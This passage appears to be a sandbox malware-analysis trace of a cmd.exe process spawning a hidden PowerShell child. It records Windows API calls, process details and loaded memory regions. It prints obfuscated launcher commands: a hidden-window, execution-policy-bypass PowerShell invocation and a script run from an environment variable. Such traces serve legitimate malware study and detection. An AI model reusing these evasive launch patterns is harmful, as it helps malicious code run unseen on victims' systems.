_wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0104.216] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0104.216] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0104.216] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0104.216] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0104.216] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f490 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0104.216] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f490, lpFilePart=0x14f470 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f470*="Desktop") returned 0x19 [0104.216] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0104.216] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f1a0 | out: lpFindFileData=0x14f1a0) returned 0x4948e0 [0104.216] FindClose (in: hFindFile=0x4948e0 | out: hFindFile=0x4948e0) returned 1 [0104.216] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x14f1a0 | out: lpFindFileData=0x14f1a0) returned 0x4948e0 [0104.217] FindClose (in: hFindFile=0x4948e0 | out: hFindFile=0x4948e0) returned 1 [0104.217] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x14f1a0 | out: lpFindFileData=0x14f1a0) returned 0x4948e0 [0104.217] FindClose (in: hFindFile=0x4948e0 | out: hFindFile=0x4948e0) returned 1 [0104.217] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0104.217] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0104.217] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0104.217] GetEnvironmentStringsW () returned 0x3ac8f0* [0104.218] FreeEnvironmentStringsW (penv=0x3ac8f0) returned 1 [0104.218] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0104.218] GetConsoleOutputCP () returned 0x1b5 [0104.223] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0104.224] GetUserDefaultLCID () returned 0x409 [0104.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0104.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f5a0, cchData=128 | out: lpLCData="0") returned 2 [0104.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f5a0, cchData=128 | out: lpLCData="0") returned 2 [0104.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f5a0, cchData=128 | out: lpLCData="1") returned 2 [0104.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0104.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0104.225] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0104.225] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0104.225] GetConsoleTitleW (in: lpConsoleTitle=0x494a20, nSize=0x104 | out: lpConsoleTitle="cmd.exE /c %adizY% ") returned 0x18 [0104.226] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0104.226] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0104.226] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0104.226] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0104.227] _wcsicmp (_String1="EchO", _String2=")") returned 60 [0104.227] _wcsicmp (_String1="FOR", _String2="EchO") returned 1 [0104.227] _wcsicmp (_String1="FOR/?", _String2="EchO") returned 1 [0104.227] _wcsicmp (_String1="IF", _String2="EchO") returned 4 [0104.227] _wcsicmp (_String1="IF/?", _String2="EchO") returned 4 [0104.227] _wcsicmp (_String1="REM", _String2="EchO") returned 13 [0104.227] _wcsicmp (_String1="REM/?", _String2="EchO") returned 13 [0104.229] GetConsoleTitleW (in: lpConsoleTitle=0x14f4b0, nSize=0x104 | out: lpConsoleTitle="cmd.exE /c %adizY% ") returned 0x18 [0104.230] _wcsicmp (_String1="EchO", _String2="DIR") returned 1 [0104.230] _wcsicmp (_String1="EchO", _String2="ERASE") returned -15 [0104.230] _wcsicmp (_String1="EchO", _String2="DEL") returned 1 [0104.230] _wcsicmp (_String1="EchO", _String2="TYPE") returned -15 [0104.230] _wcsicmp (_String1="EchO", _String2="COPY") returned 2 [0104.230] _wcsicmp (_String1="EchO", _String2="CD") returned 2 [0104.230] _wcsicmp (_String1="EchO", _String2="CHDIR") returned 2 [0104.230] _wcsicmp (_String1="EchO", _String2="RENAME") returned -13 [0104.230] _wcsicmp (_String1="EchO", _String2="REN") returned -13 [0104.230] _wcsicmp (_String1="EchO", _String2="ECHO") returned 0 [0104.235] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x14f248 | out: _Buffer="(gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \r\n") returned 79 [0104.235] _get_osfhandle (_FileHandle=1) returned 0x60 [0104.235] GetFileType (hFile=0x60) returned 0x3 [0104.235] _get_osfhandle (_FileHandle=1) returned 0x60 [0104.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \r\n", lpUsedDefaultChar=0x0) returned 80 [0104.235] WriteFile (in: hFile=0x60, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x14f218, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x14f218*=0x4f, lpOverlapped=0x0) returned 1 [0104.235] _get_osfhandle (_FileHandle=1) returned 0x60 [0104.235] SetConsoleMode (hConsoleHandle=0x60, dwMode=0x0) returned 0 [0104.235] _get_osfhandle (_FileHandle=1) returned 0x60 [0104.236] GetConsoleMode (in: hConsoleHandle=0x60, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0104.236] _get_osfhandle (_FileHandle=0) returned 0x58 [0104.236] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 0 [0104.236] GetConsoleOutputCP () returned 0x1b5 [0104.236] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0104.236] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0104.236] exit (_Code=0) Process: id = "15" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x583e5000" os_pid = "0xb5c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xb4c" cmd_line = "POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1381 start_va = 0x10000 end_va = 0x45fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1382 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1383 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1384 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1385 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1386 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1387 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1388 start_va = 0x13fdf0000 end_va = 0x13fe66fff entry_point = 0x13fdf0000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1389 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1390 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1391 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1392 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1393 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1394 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1395 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1396 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1397 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1398 start_va = 0xe0000 end_va = 0xe2fff entry_point = 0xe0000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1399 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1400 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1401 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1402 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1403 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1404 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 1405 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1406 start_va = 0x7d0000 end_va = 0x1bcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 1407 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1408 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1409 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1410 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1411 start_va = 0x7fee9d20000 end_va = 0x7fee9d8efff entry_point = 0x7fee9d20000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 1412 start_va = 0x7fefb760000 end_va = 0x7fefb778fff entry_point = 0x7fefb760000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1413 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1414 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1415 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1416 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1417 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1418 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1419 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1420 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1421 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1422 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1423 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1424 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1425 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1426 start_va = 0x200000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1427 start_va = 0x1bd0000 end_va = 0x1ccffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 1428 start_va = 0x1d70000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 1429 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1430 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1431 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1432 start_va = 0x230000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1433 start_va = 0x1df0000 end_va = 0x1ecefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001df0000" filename = "" Region: id = 1434 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1435 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1436 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1437 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1438 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1439 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1440 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1441 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1442 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1443 start_va = 0x1cd0000 end_va = 0x1d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 1444 start_va = 0x1ed0000 end_va = 0x219efff entry_point = 0x1ed0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1445 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1446 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1447 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1448 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1449 start_va = 0x1e0000 end_va = 0x1e3fff entry_point = 0x1e0000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1450 start_va = 0x1d50000 end_va = 0x1d6ffff entry_point = 0x1d50000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 1451 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1452 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1453 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1454 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1455 start_va = 0x21a0000 end_va = 0x2592fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021a0000" filename = "" Region: id = 1456 start_va = 0x2660000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 1457 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1458 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1459 start_va = 0x1e0000 end_va = 0x1e3fff entry_point = 0x1e0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1460 start_va = 0x210000 end_va = 0x213fff entry_point = 0x210000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1461 start_va = 0x25a0000 end_va = 0x25cffff entry_point = 0x25a0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 1462 start_va = 0x25d0000 end_va = 0x2635fff entry_point = 0x25d0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1463 start_va = 0x7fef8e40000 end_va = 0x7fef8e4bfff entry_point = 0x7fef8e40000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 1464 start_va = 0x7fef8e50000 end_va = 0x7fef8e83fff entry_point = 0x7fef8e50000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 1465 start_va = 0x7fef9b40000 end_va = 0x7fef9bbffff entry_point = 0x7fef9b40000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 1466 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1467 start_va = 0x27c0000 end_va = 0x283ffff entry_point = 0x0 region_type = private name = "private_0x00000000027c0000" filename = "" Region: id = 1468 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1469 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1470 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1471 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1472 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1473 start_va = 0x7fee9c80000 end_va = 0x7fee9d18fff entry_point = 0x7fee9c80000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: 